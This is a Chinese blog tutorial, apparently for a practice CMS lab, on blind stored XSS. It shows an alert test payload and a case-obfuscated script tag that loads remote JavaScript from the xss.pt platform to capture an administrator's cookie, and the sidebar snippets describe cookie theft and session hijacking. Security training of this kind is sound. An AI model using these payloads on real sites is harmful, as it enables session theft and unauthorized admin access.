XSS盲打

已于 2023-08-31 16:29:18 修改
阅读量650 收藏
点赞数
文章标签： xss 前端
于 2023-08-25 20:01:24 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_51214674/article/details/132502295
版权

弹窗操作：证明漏洞存在

挖掘cms 网站XSS 漏洞

  • 存在XSS风险地：收集用户输入的地方（搜索框，登录框，微博，留言板，聊天室）
<script>alert(/xss/)</script>
  1. 搜索框

image-20230825173619512

image-20230825173325658

  1. 留言板

image-20230825174213155

image-20230825174226190

点击后台管理登录：admin----123456

image-20230825174354815

通过验证

image-20230825174530484

image-20230825174514282

回到首页，点击留言板发现一定会出现弹窗（存储型XSS）

image-20230825174710823

利用XSS 平台盲打网站后台管理员Cookie

XSS平台：XSS Platform

image-20230825194113975

image-20230825194211116

image-20230825194239191

image-20230825194511805

<sCRiPt sRC=//xss.pt/ayKBKM></sCrIpT>

image-20230825194830605

模拟管理员登录

image-20230825193712112

  • XSS平台

image-20230825195541893

来到登录页面

image-20230825195916888

刷新登录页面

§666§
关注
服务器搭建XSS盲打平台，绕坑
CC__Faker的博客
05-07 1536
文章目录环境介绍环境搭建平台搭建平台使用 环境介绍 本次搭建环境采用的是ubuntu20，php，apache2，无需数据库 XSS平台项目名称：BlueLotus_XSSReceiver 项目地址：https://github.com/trysec/BlueLotus_XSSReceiver 环境搭建 sudo apt update 更新源 sudo apt install apache2 安装apache sudo systemctl status apache2 查看apac
xss 盲打使用
weixin_68177269的博客
02-01 1170
将生成的js脚本写到网站的留言框处，但对应的用户(尤其是admin)查看留言，就会触发脚本。在用户的电脑浏览器没有勾选httponly的选项，就可以直接获取用户的cookie。使用beef等内网xss平台，或外网xss平台（就可以直接绕过登录，使用该用户权限登录网站。将获得的cookie，填写的对应的位置，
8.XSS盲打
愿听风成曲
06-25 309
首先在xss盲打界面输入攻击代码和随意的大名提交即可。管理员界面直接会弹出xss界面。
【CTF Web】Pikachu xss盲打 Writeup（存储型XSS+目录扫描+暴力破解+XSS盲打）
HEX9CF的技术博客
10-02 736
Cross-Site Scripting 简称为“CSS”，为避免与前端叠成样式表的缩写"CSS"冲突，故又称XSS。一般XSS可以分为如下几种常见类型：1.反射性XSS;2.存储型XSS;3.DOM型XSS;XSS漏洞一直被评估为web漏洞中危害较大的漏洞，在OWASP TOP10的排名中一直属于前三的江湖地位。XSS是一种发生在前端浏览器端的漏洞，所以其危害的对象也是前端用户。
xss 盲打
wj33333的博客
11-10 248
xss盲打
XSS 盲打【练习】
weixin_51494407的博客
11-15 52
是 JavaScript 的一个内置属性，用于获取当前网页的 Cookie。通过将这两部分拼接起来，将会生成一个完整的图像 URL。: 这是一个 JavaScript 方法，用于将指定的内容写入到文档中。在这段代码中，它将会写入一段 HTML 代码。: 这是 HTML 中用于包含 JavaScript 代码的标签。属性指定了图像的 URL，它的值是一个字符串拼接操作。整体来说，这段代码的目的是将当前网页的 Cookie 发送到。这段代码是一个 JavaScript 脚本，它包含在。攻击机开启端口监听等待。
XSS盲打实战与Cookie欺骗
yuan_boss的博客
08-27 1613
设置好之后，直接访问admin的首页http://localhost/cms/admin/index.php，可以直接到达后台，从而达到了cookie欺骗的目的。领取地址：链接：https://pan.baidu.com/s/1OeEMML4GRCsbC4LpQK9KoA?本教程实战简单的xss注入，并利用存储型xss注入，获取cms靶场的后台管理员的cookie，从而实现免密登录。利用xsspt平台的xss注入，获取管理员cookie：https://xss.pt/
XSS盲打与cookie劫持
m0_74249600的博客
08-14 1023
本文紧接上篇文章讲述了XSS盲打、cookie劫持以及靶场实践，请关注持续更新（本文部分内容来自课件，如有版权问题请与我联系）
Yakit插件⼩案例⸺XSS盲打助手
YakProject的博客
11-08 721
紧接着往下看，模板内定义了⼀个__test__函数，这个函数只会在调试的时候运⾏，也就是说这个插件在正式插⼊到MITM功能的时候是不会运⾏__test__函数的，那么我们就可以在这⾥⾯写测试⽤的逻辑。填好相关的表单后，点击创建新的Yak模块，因为我们这⾥是XSS盲打插件，需要⼀个盲打的 Payload，所以需要用户设置⼀个参数，可以在增加参数⾥⾯找到。点击完创建新的Yak模块后到插件商店⻚⾯就可以看到新加的这个插件了，点击修改插件，然后再 点击⼤屏模式就可以开始开始写插件相关的代码逻辑了。
xss盲打（通过xss盲打盗取管理员账号和密码！）
qq_43814486的博客
05-03 6708
原理： 其实和一般的xss原理是一样的，不同的地方在于xss盲打的结果你看不到，你不知道它是否存在xss漏洞，因为xss盲打的结果是显示在管理员后端的，但是这并不意味着不存在xss漏洞！只要payload被执行，就存在漏洞！ 上面说了一大堆，现在来点干东西！我要通过xss盲打这种漏洞盗取他们管理员的账号和密码！！！操作如下： 1，我输入的payload： <script>documen...
XSS盲打演示和讲解；XSS绕过思路讲解和案例演示；XSS绕过关于htmlspecialchars()函数；XSS常见防范措施
qq_44696653的博客
05-04 933
XSS盲打演示和讲解 当只有后台会看到前端输入的内容而前端无法判断是否存在XSS时，我们可以插入XSS代码。这个时候由于后端的安全考虑往往不会很严格，所以当管理员登陆的时候就会被X。 在pikachu上具体的实验演示； 1.在XSS盲打模块根据前端的提示输入相关信息，发现输入的信息只会反馈给后台，在前端无法显示。这里就可以不管别的直接输入跨站脚本的内容 例如：<script>alert...
【网络安全】XSS盲打实战案例：某网页漫画
HBohan的博客
01-18 2443
"XSS盲打"是指在攻击者对数据提交后展现的后台未知的情况下，网站采用了攻击者插入了带真实攻击功能的XSS攻击代码（通常是使用script标签引入远程的js）的数据。当未知后台在展现时没有对这些提交的数据进行过滤，那么后台管理人员在操作时就会触发XSS来实现攻击者预定好的“真实攻击功能”。
写一个python脚本检测pikachu靶场的xss盲打
06-03
好的，下面是一个简单的 Python 脚本，用于检测 pikachu 靶场的 XSS 盲打漏洞。 ```python import requests # 构造请求 url = "http://your-pikachu-url.com/vulnerabilities/xss_s/" payload = "<script>alert('...
#渗透测试#SRC漏洞挖掘#XSS跨站脚本介绍02绕过
soc的博客
11-03 1193
免责声明 本教程仅为合法的教学目的而准备，严禁用于任何形式的违法犯罪活动及其他商业行为，在使用本教程前，您应确保该行为符合当地的法律法规，继续阅读即表示您需自行承担所有操作的后果，如有异议，请立即停止本文章阅读。
【dvwa靶场：XSS系列】XSS (Reflected)低-中-高级别，通关啦
m0_47484034的博客
11-05 158
【dvwa靶场：XSS系列】XSS (Reflected)低-中-高级别，通关啦
XSS跨站脚本攻击的实现原理及讲解
weixin_59571541的博客
11-04 653
XSS攻击的本质是攻击者在web页面插入恶意的script代码（这个代码可以是JS脚本、CSS样式或其他意料之外的代码），当用户浏览该页面时，嵌入其中的script代码会被执行，从而达到恶意攻击用户的目的。反射型XSS通常用于通过邮件或搜索引擎等将带有XSS攻击代码的链接投放给用户，用户点击链接后，页面会从URL上取出对应的参数，渲染到页面上，此时攻击代码将会被执行。2. **脚本在用户浏览器中执行**：一旦恶意脚本被注入到受害者的网页中，它将在用户浏览器中执行，攻击者可利用此执行环境进行进一步攻击。
XSS（Cross - Site Scripting，跨站脚本攻击）是一种常见的网络安全漏洞
huanghm88的专栏
10-31 1140
XSS（Cross - Site Scripting，跨站脚本攻击）是一种常见的网络安全漏洞，以下是对它的详细介绍：&"'
【dvwa靶场：XSS系列】XSS (DOM) 低-中-高级别，通关啦
最新发布
m0_47484034的博客
11-05 229
【dvwa靶场：XSS系列】XSS (DOM) 低-中-高级别，通关啦
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

§666§

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值